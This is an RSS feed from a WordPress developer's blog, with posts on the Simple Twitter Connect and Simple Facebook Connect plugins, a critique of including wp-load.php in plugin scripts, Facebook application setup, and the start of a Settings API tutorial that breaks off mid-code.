<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" 
	xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Nothing to see here &#187; Programmery</title>
	<atom:link href="http://ottodestruct.com/blog/category/geekery/programmery/feed/" rel="self" type="application/rss+xml" />
	<link>http://ottodestruct.com/blog</link>
	<description>Random meanderings you&#039;re probably not interested in</description>
	<lastBuildDate>Thu, 04 Mar 2010 22:32:20 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<cloud domain='ottodestruct.com' port='80' path='/blog/?rsscloud=notify' registerProcedure='' protocol='http-post' />
		<item>
		<title>Simple Twitter Connect</title>
		<link>http://ottodestruct.com/blog/2010/simple-twitter-connect/</link>
		<comments>http://ottodestruct.com/blog/2010/simple-twitter-connect/#comments</comments>
		<pubDate>Fri, 19 Feb 2010 19:38:55 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[connect]]></category>
		<category><![CDATA[otto]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[simple]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=688</guid>
		<description><![CDATA[Since people have been emailing me and asking for it&#8230;
WordPress Plugin: Simple Twitter Connect
It&#8217;s similar in concept to the Simple Facebook Connect plugin. In fact, it rips off quite a lot of the same code. But instead of Facebook, this integrates your WordPress site better with Twitter.
Now, there&#8217;s a lot of Twitter plugins out there [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2010/simple-twitter-connect/" type="box_count"></fb:share-button><p>Since people have been emailing me and asking for it&#8230;</p>
<p>WordPress Plugin: <a href="http://ottodestruct.com/blog/wordpress-plugins/simple-twitter-connect/">Simple Twitter Connect</a></p>
<p>It&#8217;s similar in concept to the <a href="http://ottodestruct.com/blog/wordpress-plugins/simple-facebook-connect/">Simple Facebook Connect</a> plugin. In fact, it rips off quite a lot of the same code. But instead of Facebook, this integrates your WordPress site better with Twitter.</p>
<p>Now, there&#8217;s a lot of Twitter plugins out there already. And this plugin by no means competes with them (yet). This plugin can&#8217;t, for example, send a post to Twitter (yet). Nor can it pull posts from Twitter to display on your own site (yet).</p>
<p>What it does is to provide the framework for a more complete Twitter integration. Right now it can do:</p>
<ul>
<li>Login via Twitter</li>
<li>Comment via Twitter</li>
</ul>
<p>Not much, really. But it has the backend code necessary to make it easier to connect your site to a <a href="http://twitter.com/apps">Twitter Application</a>, and to make plugins surrounding it that won&#8217;t interfere with each other. That&#8217;s the same basic reason for the Simple Facebook Connect plugin. </p>
<p>So yes, eventually this plugin will send and receive stuff from Twitter. But for now, it lets you allow users to Login and/or to have users Comment using their Twitter credentials. </p>
<p>Expect frequent updates.</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2010/simple-twitter-connect/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	<georss:point>35.1461258 -90.0536575</georss:point>
	</item>
		<item>
		<title>Don&#8217;t include wp-load, please.</title>
		<link>http://ottodestruct.com/blog/2010/dont-include-wp-load-please/</link>
		<comments>http://ottodestruct.com/blog/2010/dont-include-wp-load-please/#comments</comments>
		<pubDate>Tue, 09 Feb 2010 17:24:32 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp-config]]></category>
		<category><![CDATA[wp-load]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=667</guid>
		<description><![CDATA[Time for Otto&#8217;s general griping: WordPress plugin programming edition.
Here&#8217;s a practice I see in plugins far too often:

Plugin.php file adds something like this to the wp_head:
&#60;script src='http://example.com/wp-content/plugins/my-plugin/script.js.php'&#62;

Script.js.php has code like the following:

&#60;?php
include &#34;../../../wp-load.php&#34;;
?&#62;
... javascript code ...



The reason for this sort of thing is that there&#8217;s some option or code or something that the javascript needs [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2010/dont-include-wp-load-please/" type="box_count"></fb:share-button><p>Time for Otto&#8217;s general griping: WordPress plugin programming edition.</p>
<p>Here&#8217;s a practice I see in plugins far too often:</p>
<ol>
<li>Plugin.php file adds something like this to the wp_head:
<pre class="brush: xml;">&lt;script src='http://example.com/wp-content/plugins/my-plugin/script.js.php'&gt;</pre>
</li>
<li>Script.js.php has code like the following:
<pre class="brush: php;">
&lt;?php
include &quot;../../../wp-load.php&quot;;
?&gt;
... javascript code ...
</pre>
</li>
</ol>
<p>The reason for this sort of thing is that there&#8217;s some option or code or something that the javascript needs from the database or from WordPress or whatever. This PHP file is, basically, generating the javascript on the fly.</p>
<p>Usually, the case for this turns out to be something minor. The code needs the value from an option, or some flag to turn it on or off. Or whatever.</p>
<p>Problem is that finding wp-load.php can be a bit of a chore. I&#8217;ve seen extreme efforts to find and load that file in plugins before, including searching for it, examining the directory structure to make decent guesses, etc. This sort of thing has existed even before wp-load.php came around, with people trying to load wp-config.php themselves and such.</p>
<p>But the real problem is simpler: <em>This is always the wrong way to do it.</em><br />
<span id="more-667"></span></p>
<h3>Why this is wrong</h3>
<ol>
<li>You don&#8217;t have the first clue where wp-load.php actually is. Both the plugin directory and the wp-content directory can be moved around in the installation. ALL the WordPress files could be moved about in this manner, are you going to search around for them?</li>
<li>You&#8217;ve instantly doubled the load on that server. WordPress and the PHP processing of it all now have to get loaded twice for every page load. Once to produce the page, and then again to produce your generated javascript.</li>
<li>You&#8217;re generating javascript on the fly. That&#8217;s simply crap for caching and speed and such.</li>
</ol>
<p>The right way? Well, there&#8217;s two options.</p>
<h3>Right Way the First</h3>
<p>Generate your options separately, put them in using wp_print_scripts.</p>
<p>Examine this pseudo-code:</p>
<pre class="brush: php;">
add_action('wp_print_scripts','myscript');
function myscript() {
?&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
  var plugin_option= &lt;?php echo json_encode(get_option('plugin_option')); ?&gt;;
&lt;/script&gt;
&lt;?php
}
wp_enqueue_script('myscript','...myscript.js',...);
</pre>
<p>Basically, the plugin option value is inserted directly into the page. The myscript.js file that loads shortly afterwards can use this value however it likes.</p>
<p>Why this is better:</p>
<ol>
<li>No searching for wp-load.php.</li>
<li>The javascript is static, only your options are variable. No added load on the site.</li>
<li>Static scripts mean you get great speed from caching.</li>
</ol>
<p>Sidenote: Note the use of json_encode? You should always use this when producing javascript variables from PHP variables. It handles quoting and escaping and everything for you. It can even turn PHP arrays into javascript arrays nicely! Handy for storing all your options in one place.</p>
<p>What if you have a ton of plugin options though? What if you really WANT to generate that javascript on-the-fly?</p>
<h3>Right Way the Second</h3>
<p>Generate the javascript from a call to WordPress itself, not to a separate file.</p>
<p>Examine this pseudo-code:</p>
<pre class="brush: php;">
add_filter('query_vars','plugin_add_trigger');
function plugin_add_trigger($vars) {
    $vars[] = 'plugin_trigger';
    return $vars;
}

add_action('template_redirect', 'plugin_trigger_check');
function plugin_trigger_check() {
	if(intval(get_query_var('plugin_trigger')) == 1) {
	?&gt;
function javascript_code() {
...
}
&lt;?php
	exit;
	}
}
</pre>
<p>That code does something a little clever. Basically it&#8217;s adding a new query variable to be used as the &#8220;trigger&#8221;. When the trigger gets pulled, a bunch of javascript is generated, then the code *exits*, stopping WordPress from proceeding any further.</p>
<p>So, with that code in a plugin, a call to http://example.com/?plugin_trigger=1 will now produce your javascript code. This is running entirely within the content of a WordPress call, so you get all the WP functions and database access with which you can generate your code as well.</p>
<p>Thus, you can happily put your
<pre class="brush: xml;">&lt;script src=&quot;http://example.com/?plugin_trigger=1&quot;&gt;</pre>
<p> code into the page and it&#8217;ll load up that &#8220;file&#8221; just fine.</p>
<p>Why this is better:</p>
<ol>
<li>No searching for load.php</li>
<li>&#8230; Well, okay, there is no other reason. The load problem still exists, and your caching issues still exist. You&#8217;re programmatically generating code here, after all. It&#8217;s not a particularly good practice to do. Still, sometimes this is easier and faster to develop, even if it&#8217;s never actually &#8220;necessary&#8221;.</li>
</ol>
<p>Also see that while I&#8217;m using the number 1 there as the value I&#8217;m checking for, that value can be anything you like. If you want to be a smartass about it and have all sorts of different things that could be generated, you can do them all with that one trigger. It&#8217;s still a generally bad idea because of the added load, but hey, maybe you have a legitimate reason. I&#8217;ve seen one or two valid reasons to do this before.</p>
<h3>Wrap up</h3>
<p>Also note all of the above also applies to &#8220;generating&#8221; CSS code. It&#8217;s just as unnecessary. Usually more so.</p>
<p>So please, stop including wp-load. It&#8217;s just wrong. Let WordPress load itself, and make your plugin do the output it needs to produce in the right places.</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2010/dont-include-wp-load-please/feed/</wfw:commentRss>
		<slash:comments>47</slash:comments>
	
	</item>
		<item>
		<title>How to Setup your Facebook Connect Application</title>
		<link>http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/</link>
		<comments>http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/#comments</comments>
		<pubDate>Mon, 01 Feb 2010 17:21:45 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[application]]></category>
		<category><![CDATA[connect]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[settings]]></category>
		<category><![CDATA[sfc]]></category>
		<category><![CDATA[simple facebook connect]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=655</guid>
		<description><![CDATA[The majority of the email I get from users of the Simple Facebook Connect plugin is questions regarding how to setup their Facebook Application. It&#8217;s really not that hard to do, but the plethora of options can seem  somewhat intimidating. So here&#8217;s the basics of what you need to do.

After creating your application, you&#8217;ll [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/" type="box_count"></fb:share-button><p>The majority of the email I get from users of the <a href="http://ottodestruct.com/blog/wordpress-plugins/simple-facebook-connect/">Simple Facebook Connect</a> plugin is questions regarding how to setup their Facebook Application. It&#8217;s really not that hard to do, but the plethora of options can seem  somewhat intimidating. So here&#8217;s the basics of what you need to do.</p>
<p><span id="more-655"></span></p>
<p>After creating your application, you&#8217;ll need to visit the <a href="http://www.facebook.com/developers/apps.php">Apps section</a> in the Facebook Developer Home area. Here you&#8217;ll find your application, and the all critical &#8220;Edit Settings&#8221; link.</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp1.png"><img class="alignnone size-full wp-image-656" title="Main Application Screen" src="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp1.png" alt="Main Application Screen" width="761" height="404" /></a></p>
<p>Firstly, <em>never give out your Application Secret</em>. If you give this out by accident, then use the Reset Secret Key link to get a new one.</p>
<p>Anyway, from here, you want to go into the settings. The settings area is divided into six main sections, but most of the settings are irrelevant. See, you&#8217;re building a &#8220;Connect&#8221; application, not a &#8220;Canvas&#8221; one. So most of these are meaningless for you. The following ones are what you actually care about:</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp2.png"><img class="alignnone size-full wp-image-657" title="Application name" src="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp2.png" alt="Application name" width="704" height="93" /></a></p>
<p>Obviously, you want the name of your Application to make sense. I suggest using the same name as your website. You can even use your domain name here if you like. Just be aware that this name is what the Fans of your site will see in their Applications area.</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp3.png"><img class="alignnone size-full wp-image-658" title="Basic Information" src="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp3.png" alt="Basic Information" width="700" height="284" /></a></p>
<p>The Basic Information section is important as well, fill it in as you see fit. I also recommend uploading good icons and/or logos for your site. Gives it that finished look.</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp4.png"><img class="alignnone size-full wp-image-659" title="Contact Information" src="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp4.png" alt="Contact Information" width="695" height="342" /></a></p>
<p>Contact Information is obviously important as well, but don&#8217;t worry about all those extra URLs. They really apply more to Canvas apps. Of course, if you want to make special pages on your site for them and provide the URLs here, feel free.</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp5.png"><img class="alignnone size-full wp-image-660" title="Authentication Settings" src="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp5.png" alt="Authentication Settings" width="695" height="222" /></a></p>
<p>The Authentication Settings page is surprisingly important. Those top two boxes need to be unchecked for a Facebook Connect application. Why? Because when they are unchecked, your Application becomes an &#8220;External Website&#8221; as far as Facebook is concerned. If you have either them checked, then your app&#8217;s Canvas section becomes active and you might have users trying to add it to their profiles and such, resulting in broken pages and a general bad user experience.</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp6.png"><img class="alignnone size-full wp-image-661" title="Connect Settings" src="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp6.png" alt="Connect Settings" width="688" height="227" /></a></p>
<p>The Connect Settings page is probably the most important one. These settings must be filled in and they must be <em>absolutely accurate</em>. Specifically, the URLs must be the URLs that are actually used by your site. Capitalization matters. The leading &#8220;www&#8221; or lack of one matters. Whatever the URL your site is in the browser is what you MUST put into these fields. Anything less and your site <em>will not work</em>.</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp8.png"><img class="alignnone size-full wp-image-663" title="Advanced Settings" src="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp8.png" alt="Advanced Settings" width="687" height="134" /></a></p>
<p>The Advanced Settings screen contains these three fields which you need to set in the same way I did. The email domain should be your own domain, obviously. This field must be filled in for you to get real user emails on your Connected site. Without this, you only get proxied emails through Facebook.</p>
<p><a href="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp7.png"><img class="alignnone size-full wp-image-662" title="Application Profile" src="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp7.png" alt="Application Profile" width="567" height="262" /></a></p>
<p>Finally, after you have saved those settings, take the time to go back to the main application screen and click the &#8220;Edit Application Profile&#8221; link. You&#8217;ll be taken here, where you can set up the &#8220;look&#8221; of your application page on Facebook. This includes what tabs are visible, the stuff in the Info section, etc. You can add extra Applications tabs to this page and generally customize all sorts of stuff. None of that affects your site, but it does affect how the App Page looks in Facebook. The more polished it is, the more likely people will &#8220;Fan&#8221; your Application. And Fans get updates from when you publish posts to the Wall. Great way to drive traffic to your content.</p>
<p>Hope this helps! Mainly, I hope this reduces the number of questions I get about this process. Enjoy SFC!</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
		<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp1-150x79.png" />
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp1.png" medium="image">
			<media:title type="html">Main Application Screen</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp1-150x79.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp2.png" medium="image">
			<media:title type="html">Application name</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp2-150x19.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp3.png" medium="image">
			<media:title type="html">Basic Information</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp3-150x60.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp4.png" medium="image">
			<media:title type="html">Contact Information</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp4-150x73.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp5.png" medium="image">
			<media:title type="html">Authentication Settings</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp5-150x47.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp6.png" medium="image">
			<media:title type="html">Connect Settings</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp6-150x49.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp8.png" medium="image">
			<media:title type="html">Advanced Settings</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp8-150x29.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp7.png" medium="image">
			<media:title type="html">Application Profile</media:title>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2010/02/apphelp7-150x69.png" />
		</media:content>
	</item>
		<item>
		<title>SFC Chicklet</title>
		<link>http://ottodestruct.com/blog/2009/sfc-chicklet/</link>
		<comments>http://ottodestruct.com/blog/2009/sfc-chicklet/#comments</comments>
		<pubDate>Tue, 22 Dec 2009 17:13:56 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[chicklet]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[fbfoundations]]></category>
		<category><![CDATA[sfc]]></category>
		<category><![CDATA[simple facebook connect]]></category>
		<category><![CDATA[widget]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=633</guid>
		<description><![CDATA[I saw this morning that Jesse Stay had created a rather neat little chicklet for his FBFoundations plugin. I thought it was a clever idea, so naturally I stole it and added it to Simple Facebook Connect as well.
Of course, just copying an idea is no fun. So I had to improve upon it a [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/sfc-chicklet/" type="box_count"></fb:share-button><p>I saw this morning that <a href="http://staynalive.com/articles/2009/12/22/make-your-facebook-page-fly-with-the-fbfoundations-facebook-chicklet/">Jesse Stay had created</a> a rather neat little <a href="http://www.ifeedreaders.com/chicklet-creator/">chicklet</a> for his <a href="http://staynalive.com/articles/2009/10/10/fbfoundations-facebook-connect-plugin-for-wordpress/">FBFoundations</a> plugin. I thought it was a clever idea, so naturally I stole it and added it to Simple Facebook Connect as well.</p>
<p>Of course, just copying an idea is no fun. So I had to improve upon it a bit for my version. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I ended up not using any of Jesse&#8217;s code, but I did (mostly) keep the format of his chicklet output the same, so as to try to be compatible with it for styling rules and such.</p>
<p><span id="more-633"></span></p>
<h3>Usage</h3>
<p>The SFC Chicklet works in one of a few ways:</p>
<ul>
<li>First, it&#8217;s a widget if you just want to stick it in a sidebar or something. That&#8217;s easy.</li>
<li>On the other hand, if you want to integrate it into your theme, then all you have to do is to add a call to sfc_chicklet(); anywhere you like.</li>
</ul>
<h3>Configuration (Styling)</h3>
<p>Now, unlike Jesse&#8217;s FBFoundations plugin, Simple Facebook Connect is all about simplicity. So I removed all the configuration options that he used (widths, colors, etc) and made them styleable instead.</p>
<p>The SFC Chicklet has a default set of styles that it puts right into the HTML itself. However, these can be easily overridden by your own styles in your theme. The thing to notice is that all the styles I use refer to classes only, not referencing the tags. So, if you re-style and use the tags as well, then your styles win the <a href="http://www.stuffandnonsense.co.uk/archives/css_specificity_wars.html">specificity war</a>, and will take precedence.</p>
<p>Thus, if you want to change the background color of the main box, you can do this:<br />
<code><br />
div.fanBoxChicklet {<br />
background-color:blue;<br />
}</code></p>
<p>Simple. The &#8220;div&#8221; makes it take precedence. Anybody familiar with simple CSS should be able to easily style it the way they like.</p>
<p>On the other hand, if you&#8217;re a super-themer and want to disable the built-in styles entirely, add this to your theme&#8217;s functions.php file:</p>
<p><code>global $sfc_chicklet_no_style;<br />
$sfc_chicklet_no_style = true;</code></p>
<h3>Extra</h3>
<p>And, of course, this new plugin supports both the Application and the Fan Page methods, for those of you who have your webpage hooked to a Fan Page. This is similar to the new support for Fan Pages in the SFC Publish and SFC Fan Box plugins.</p>
<p>If you&#8217;re a <em>real</em> power user, you might want to display a chicklet for more than one page or application. Well, we&#8217;ve got you covered, just call sfc_chicklet(&#8220;ID-NUMBER&#8221;), where ID-NUMBER is the ID of your application or page. Remember, this needs to be a string, not an integer.</p>
<h3>Internals</h3>
<p>Internally, the plugin uses the Facebook PHP library to get the necessary data from Facebook, so there&#8217;s no need to have any odd javascript or ajax requests to make the system work. Because of the use of this Facebook code, PHP 5 is required to use this plugin.</p>
<p>However, the Facebook code includes a JSON library (if you don&#8217;t have one already loading), which means that if you activate this plugin, it&#8217;s quite probable that the whole SFC system will run on WordPress 2.8, even if it wouldn&#8217;t before. Of course, since 2.9 was just released, this is not as big of a deal, really.</p>
<p>The plugin also uses the <a href="http://codex.wordpress.org/Transients_API">WordPress Transients API</a> as a caching mechanism, so that it only asks Facebook for the fan count a maximum of once per hour. The Transients API was introduced in 2.8, and so the plugin should still work okay if you haven&#8217;t upgraded to 2.9 yet.</p>
<p>And if you can come up with any other good Facebook plugin ideas, let me know. SFC has proven to be an easy platform for building simple Facebook plugins on top of, so they can probably be produced pretty quickly and easily. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3>Installation</h3>
<p>If you haven&#8217;t installed SFC yet, then this chicklet is part of the package. Just download it and install from here:<br />
<a href="http://plugins.svn.wordpress.org/simple-facebook-connect/trunk/sfc-chicklet.php">http://wordpress.org/extend/plugins/simple-facebook-connect/</a></p>
<p>Alternatively, in a WordPress installation, just go to the &#8220;Plugins-&gt;Add New&#8221; area and search for &#8220;Simple Facebook Connect&#8221;. You can install the package directly from there.</p>
<p>If you already are using SFC 0.8, then you only need the new file. You can download it separately here:<br />
<a href="http://plugins.svn.wordpress.org/simple-facebook-connect/trunk/sfc-chicklet.php">http://plugins.svn.wordpress.org/simple-facebook-connect/trunk/sfc-chicklet.php</a></p>
<p>Just drop it into your /wp-content/plugins/simple-facebook-connect directory, then activate it in the Plugins panel.</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2009/sfc-chicklet/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
	</item>
		<item>
		<title>WordPress Settings API Tutorial</title>
		<link>http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/</link>
		<comments>http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/#comments</comments>
		<pubDate>Tue, 03 Nov 2009 22:49:55 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[settings]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=583</guid>
		<description><![CDATA[When writing the Simple Facebook Connect plugin, I investigated how the Settings API worked. It&#8217;s relatively new to WordPress (introduced in version 2.7), and many things I read said that it was much easier to use.
It is much easier to use in that it makes things nice and secure almost automatically for you. No confusion [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/" type="box_count"></fb:share-button><p>When writing the <a href="http://ottodestruct.com/blog/wordpress-plugins/simple-facebook-connect/">Simple Facebook Connect</a> plugin, I investigated how the <a href="http://codex.wordpress.org/Settings_API">Settings API</a> worked. It&#8217;s relatively new to WordPress (introduced in version 2.7), and many things I read said that it was much easier to use.</p>
<p>It is much easier to use in that it makes things nice and secure almost automatically for you. No confusion about nonces or anything along those lines. However, it&#8217;s slightly more difficult to use in that there&#8217;s very little good documentation for it. Especially for the most common case: Making your own settings page.</p>
<p>So, here is my little documentation attempt.</p>
<p><span id="more-583"></span></p>
<h3>Making your own settings page</h3>
<p>First, add yourself an options page. Code to do that:</p>
<pre class="brush: php;">
&lt;?php // add the admin options page
add_action('admin_menu', 'plugin_admin_add_page');
function plugin_admin_add_page() {
add_options_page('Custom Plugin Page', 'Custom Plugin Menu', 'manage_options', 'plugin', 'plugin_options_page');
}
?&gt;
</pre>
<p>What this does is quite simple, really:</p>
<p>a. It adds a link under the settings menu called &#8220;Custom Plugin Menu&#8221;.<br />
b. When you click it, you go to a page with a title of &#8220;Custom Plugin Page&#8221;.<br />
c. You must have the &#8220;manage_options&#8221; capability to get there though (admins only).<br />
d. The link this will be will in fact be /wp-admin/options-general.php?page=plugin (so &#8220;plugin&#8221; needs to be something only you will use).<br />
e. And the content of the page itself will be generated by the &#8220;plugin_options_page&#8221; function.</p>
<p>Oh wait, we need that function! Let&#8217;s go ahead and create that, shall we?</p>
<pre class="brush: php;">
&lt;?php // display the admin options page
function plugin_options_page() {
?&gt;
&lt;div&gt;
&lt;h2&gt;My custom plugin&lt;/h2&gt;
Options relating to the Custom Plugin.
&lt;form action=&quot;options.php&quot; method=&quot;post&quot;&gt;
&lt;?php settings_fields('plugin_options'); ?&gt;
&lt;?php do_settings_sections('plugin'); ?&gt;

&lt;input name=&quot;Submit&quot; type=&quot;submit&quot; value=&quot;&lt;?php esc_attr_e('Save Changes'); ?&gt;&quot; /&gt;
&lt;/form&gt;&lt;/div&gt;

&lt;?php
}?&gt;
</pre>
<p>Hang on a minute, where&#8217;s all the options? Well, here&#8217;s where the Settings API kicks in a bit. Up to now, this has been more or less the same as previous tutorials. Adding the options pages is really quite easy. But now, we&#8217;re going to use two new functions.</p>
<p>First, we call settings_fields(&#8216;plugin_options&#8217;). This outputs the hidden bits that we need to make our options page both do what we want and to make it secure with a nonce. The string &#8220;plugin-options&#8221; can be anything, as long as it&#8217;s unique. There is another call we&#8217;re going to have to make with this same string later.</p>
<p>Next, we call do_settings_sections(&#8216;plugin&#8217;). This is going to output all of our input fields. Text input boxes, radio fields, anything we like. Obviously though, we have to tell it what those fields are and look like somewhere. We do both of these things in the next section.</p>
<h3>Defining the settings</h3>
<pre class="brush: php;">
&lt;?php // add the admin settings and such
add_action('admin_init', 'plugin_admin_init');
function plugin_admin_init(){
register_setting( 'plugin_options', 'plugin_options', 'plugin_options_validate' );
add_settings_section('plugin_main', 'Main Settings', 'plugin_section_text', 'plugin');
add_settings_field('plugin_text_string', 'Plugin Text Input', 'plugin_setting_string', 'plugin', 'plugin_main');
}?&gt;
</pre>
<p>Here we&#8217;ve done three things. Let&#8217;s break that down, shall we?</p>
<pre class="brush: php;">
&lt;?php register_setting( 'plugin_options', 'plugin_options', 'plugin_options_validate' );?&gt;
</pre>
<p>First, we register the settings. In my case, I&#8217;m going to store all my settings in one options field, as an array. This is usually the recommended way. The first argument is a group, which needs to be the same as what you used in the settings_fields function call. The second argument is the name of the options. If we were doing more than one, we&#8217;d have to call this over and over for each separate setting. The final arguement is a function name that will validate your options. Basically perform checking on them, to make sure they make sense.</p>
<p>Ignoring the validation function for a moment, lets move on to the setting section. This one is actually quite simple.</p>
<pre class="brush: php;">
&lt;?php add_settings_section('plugin_main', 'Main Settings', 'plugin_section_text', 'plugin'); ?&gt;
</pre>
<p>This creates a &#8220;section&#8221; of settings.<br />
The first argument is simply a unique id for the section.<br />
The second argument is the title or name of the section (to be output on the page).<br />
The third is a function callback to display the guts of the section itself.<br />
The fourth is a page name. This needs to match the text we gave to the do_settings_sections function call.</p>
<p>That function callback in the third argument should look a bit like this:</p>
<pre class="brush: php;">
&lt;?php function plugin_section_text() {
echo '&lt;p&gt;Main description of this section here.&lt;/p&gt;';
} ?&gt;
</pre>
<p>Simple, really. You can put any HTML you like here.</p>
<p>Now that we&#8217;ve talked about the section itself, we need to talk about the fields in that section.</p>
<pre class="brush: php;">
&lt;?php add_settings_field('plugin_text_string', 'Plugin Text Input', 'plugin_setting_string', 'plugin', 'plugin_main'); ?&gt;
</pre>
<p>The first argument is simply a unique id for the field.<br />
The second is a title for the field.<br />
The third is a function callback, to display the input box.<br />
The fourth is the page name that this is attached to (same as the do_settings_sections function call).<br />
The fifth is the id of the settings section that this goes into (same as the first argument to add_settings_section).</p>
<p>The only difficult one here is, again, the callback. Let&#8217;s look at that, shall we?</p>
<pre class="brush: php;">
&lt;?php function plugin_setting_string() {
$options = get_option('plugin_options');
